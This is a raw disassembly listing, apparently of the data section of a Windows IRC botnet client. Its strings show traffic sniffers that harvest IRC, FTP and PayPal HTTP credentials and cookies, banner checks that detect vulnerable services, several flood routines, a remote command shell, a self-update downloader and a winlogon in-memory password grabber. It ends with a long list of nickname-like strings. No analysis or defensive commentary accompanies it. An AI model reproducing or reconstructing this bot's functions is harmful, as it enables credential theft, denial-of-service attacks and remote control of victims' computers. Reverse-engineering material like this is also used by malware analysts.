		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412EEC+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412EEC+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412EEC+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412EEC+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412EEC+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412EEC+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412EEC+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412EEC+84o
a366		db '366 ',0             ; DATA XREF: sub_412EEC+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412EEC:loc_412F4Eo
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412EEC+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412EEC+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412EEC+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412EEC+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper		db 'oper ',0            ; DATA XREF: sub_413003+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_413003:loc_413043o
					; sub_413079+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_413003+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_413003+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_413079+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_413079+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_413079:loc_4130CAo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_413079+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_413079+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_413100+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_413100+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_413100+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_413100:loc_413140o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_413100+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_413100+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_413187+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_413187+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_413187+5o
		align 4
unk_437784	db  2Dh	; -		; DATA XREF: sub_4131EC+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4377BC	db  2Dh	; -		; DATA XREF: sub_4131EC+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4377F4	db  2Dh	; -		; DATA XREF: sub_4131EC+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437828	db  2Dh	; -		; DATA XREF: sub_4131EC+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43785C	db  2Dh	; -		; DATA XREF: sub_4131EC+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437890	db  2Dh	; -		; DATA XREF: sub_4131EC+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_4378C0	db  2Dh	; -		; DATA XREF: sub_4131EC+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_437914	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_413694+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_437B3C	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_4143F7+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_437F2C	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415CC0+35o
dword_437F40	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
		align 4
dword_437F78	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F8C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415DD8+20o
dword_437FA0	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415F27o
		dd 6574656Ch, 0
dword_437FBC	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:00415E8Ao
		dd 676E6974h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_43803C	db  2Dh	; -		; DATA XREF: ___:004162BEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_438060	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:00416523o
					; ___:004166B9o
		dd 726F72h
unk_438078	db  2Dh	; -		; DATA XREF: ___:004164BBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_4380A4	db  2Dh	; -		; DATA XREF: ___:004163C3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_4380C8	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:0041638Co
		dd 74756Fh
dword_4380E0	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:0041632Bo
		dd 169h
unk_4380F8	db  2Dh	; -		; DATA XREF: ___:004162E8o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_438118	db  2Dh	; -		; DATA XREF: ___:00416243o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_43813C	db  2Dh	; -		; DATA XREF: ___:00416205o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_438160	db  2Dh	; -		; DATA XREF: ___:00416734o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43818C	db  2Dh	; -		; DATA XREF: ___:0041662Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_4381AC	db  2Dh	; -		; DATA XREF: ___:0041660Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:004165FAo
unk_4381DC	db  2Dh	; -		; DATA XREF: ___:004165E6o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_43820C	db  2Dh	; -		; DATA XREF: ___:00416C33o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_438238	db  2Dh	; -		; DATA XREF: ___:00416C25o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_43826C	db  2Dh	; -		; DATA XREF: ___:00416B69o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_4382B0	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416AF8o
		dd 25206465h, 73h
unk_4382CC	db  2Dh	; -		; DATA XREF: ___:00416A81o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_438304	db  2Dh	; -		; DATA XREF: ___:00416A02o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_43832C	db  2Dh	; -		; DATA XREF: ___:00416978o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_438358	db  2Dh	; -		; DATA XREF: ___:00416935o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_438380	db  2Dh	; -		; DATA XREF: ___:00416923o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_4383A8	db  2Dh	; -		; DATA XREF: ___:00416817o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416D48:loc_416D8Bo
					; sub_419443+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416D48:loc_416D85o
aDisk		db 'Disk',0             ; DATA XREF: sub_416D48:loc_416D7Fo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_416D48:loc_416D79o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416D48:loc_416D73o
		align 4
off_4383F8	dd offset word_4D4152	; DATA XREF: sub_416D48:loc_416D6Do
word_4383FC	dw 3Fh			; DATA XREF: sub_416D48+1Fo
					; sub_41AF8F:loc_41B091r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416DD9:loc_416EB7o
					; sub_416EFD+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416DD9+6Co
		align 10h
unk_438410	db  2Dh	; -		; DATA XREF: sub_416EFD+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_43844C	db  2Dh	; -		; DATA XREF: sub_416EFD+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_438488	dd offset byte_5C3A41	; DATA XREF: sub_416FCF:loc_417014o
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_4384F8	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41743Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43852C	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41740Do
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438558	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_417406o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_438590	db  2Dh	; -		; DATA XREF: sub_4172C1+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_4385EC	dd offset byte_530055	; DATA XREF: sub_4172C1+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004C+1
		dd offset byte_4E0049
		dd 0
off_438604	dd offset byte_530055	; DATA XREF: sub_4172C1+CEo
		dd offset byte_520045
		dd offset loc_41004C+2
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_4172C1+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
					; sub_4172C1+161o ...
		align 4
unk_4386C8	db  2Dh	; -		; DATA XREF: sub_4172C1+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_417493+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_417493+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_417493+AFo
		align 4
dword_438714	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4178F9+70o
					; sub_417990+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438764	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417990+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_4387B8	dd offset aQ		; DATA XREF: sub_417E84+5Cr
					; "q"
		dd offset dword_439364
		dd offset aE		; "e"
; ---------------------------------------------------------------------------
		lodsb
		mov	byte ptr [edx+0], 28h
		mov	byte ptr [edx+0], 60h
		xchg	eax, ebx
		inc	ebx
		add	ah, dl
		scasd
		inc	edx
		add	[esi+eax*8+42h], bh
		add	[eax+200042AFh], dh
		mov	dl, 42h
		add	[esi+eax*8-6CA3FFBEh], al
		inc	ebx
		add	[eax-6Dh], bl
		inc	ebx
		add	[ebx+edx*4+43h], dl
		add	[eax-6Dh], dl
		inc	ebx
		add	[eax+700042B7h], cl
		mov	bh, 42h
		add	al, bh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset dword_43934C
		dd offset dword_439348
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset dword_439344
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_439340
		dd offset dword_43933C
		dd offset dword_439338
		dd offset dword_439334
		dd offset dword_439330
		dd offset word_43932C
		dd offset dword_439328
		dd offset aI_0		; "I"
		dd offset dword_439324
		dd offset dword_439320
		dd offset aA_0		; "A"
		dd offset dword_43931C
		dd offset dword_439318
		dd offset dword_439314
		dd offset dword_439310
		dd offset dword_43930C
		dd offset dword_439308
		dd offset dword_439304
		dd offset dword_439300
		dd offset dword_4392FC
		dd offset dword_4392F8
		dd offset dword_4392F4
		dd offset dword_4392F0
		dd offset dword_4392EC
		dd offset word_4392E8
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_439080
		dd offset off_43907C
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
